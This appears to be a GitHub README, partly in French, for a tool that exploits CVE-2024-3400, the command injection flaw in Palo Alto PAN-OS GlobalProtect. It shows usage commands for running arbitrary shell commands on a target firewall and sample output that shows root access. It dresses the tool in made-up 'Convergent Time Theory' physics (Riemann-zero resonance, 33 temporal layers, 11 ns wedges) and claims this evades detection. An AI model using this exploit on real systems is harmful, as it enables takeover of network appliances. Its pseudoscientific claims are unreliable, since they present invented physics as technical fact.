simoesctt/-ctt-pan-os-exploit-cve-2024-340
CTT-PAN-OS-Exploit – CVE-2024-3400 (CVSS 10.0) avec amélioration par la théorie du temps convergent. Utilise une dispersion temporelle α = 0,0302011, une cascade de résonance de phase sur 33 couches et un filtrage temporel en coin de 11 ns pour exploiter l'injection de commandes Palo Alto GlobalProtect. La charge utile est répartie sur 33 couches temporelles avec une priorité exponentielle d
CTT-PAN-OS-Exploit – CVE-2024-3400 (CVSS 10.0) avec amélioration de la théorie du temps convergent. Utilise α = 0.0302011 dispersion temporelle, cascade de résonance de phase à 33 couches et filtrage en coin temporel de 11 ns pour exploiter l'injection de commandes Palo Alto GlobalProtect. La charge utile est répartie sur 33 couches temporelles avec priorité exponentielle d
Voici le README et la description courte pour l'exploit CTT PAN-OS :
CTT-PAN-OS-Exploit – CVE-2024-3400 (CVSS 10.0) avec amélioration de la théorie du temps convergent. Utilise α = 0.0302011 dispersion temporelle, cascade de résonance de phase à 33 couches et filtrage en coin temporel de 11 ns pour exploiter l'injection de commandes Palo Alto GlobalProtect. La charge utile est répartie sur 33 couches temporelles avec décroissance exponentielle de priorité (E(d) = E_0 e^{-\alpha d}), rendant la détection beaucoup plus difficile que les exploits conventionnels.
# CTT-PAN-OS-Exploit
**CVE-2024-3400 | Palo Alto PAN-OS GlobalProtect Command Injection | CVSS 10.0**
Convergent Time Theory (CTT) implementation of the critical PAN-OS command injection vulnerability.
## CTT Physics
This exploit is enhanced with Convergent Time Theory:
| Constant | Value | Role |
|----------|-------|------|
| α | 0.0302011 | Temporal dispersion coefficient |
| α_RH | 0.0765872 | Riemann-Hadamard constant (golden ratio) |
| L | 33 | Number of temporal layers |
| τ_w | 11 ns | Temporal wedge filter |
The payload is distributed across 33 temporal layers with exponential priority decay:
\[
E(d) = E_0 e^{-\alpha d}
\]
## Features
- Phase resonance payload delivery using Riemann zero frequencies
- 33-layer temporal cascade with priority decay
- Temporal wedge filtering (only "surviving" payloads execute)
- Layer-specific encoding based on layer index
- Exponential priority distribution
## Installation
```bash
pip install requests urllib3
# Check vulnerability
python ctt_panos_exploit.py https://target.firewall.local
# Execute command
python ctt_panos_exploit.py https://target.firewall.local "id"
# Get system information
python ctt_panos_exploit.py https://target.firewall.local "uname -a && id && hostname"
======================================================================
CTT PAN-OS Exploit - CVE-2024-3400
Palo Alto GlobalProtect Command Injection
α = 0.0302011 | α_RH = 0.076587 | L = 33
======================================================================
[*] Checking https://target.firewall.local for CVE-2024-3400 (CTT-enhanced)
[*] α = 0.0302011, α_RH = 0.076587
[*] Using 33 temporal layers
[+] Layer 1/33: Phase resonance detected
[+] Target is VULNERABLE!
[+] Temporal wedge survival confirmed
[*] Executing: id
[*] Using 33-layer temporal cascade
Layer 1/33: ████████████████████████████████████████ 1.000
Layer 2/33: ██████████████████████████████████████░░ 0.941
Layer 3/33: ████████████████████████████████████░░░░ 0.886
...
Layer 33/33: █░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0.041
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)
| Feature | Standard | CTT-Enhanced |
|---|---|---|
| Payload delivery | Single shot | 33-layer cascade |
| Timing | Fixed | Phase resonance (Riemann zeros) |
| Detection | Easy | Temporal wedge filtered |
| Priority | Uniform | Exponential decay |
| Encoding | None | Layer-specific |
Copyright © 2026 Americo Simoes. All Rights Reserved.
This software is for authorised security testing only.
---
Ceci est la version CTT de l'exploit CVE-2024-3400. La principale différence est la cascade temporelle à 33 couches avec décroissance exponentielle de priorité et le timing de résonance de phase basé sur les zéros de Riemann.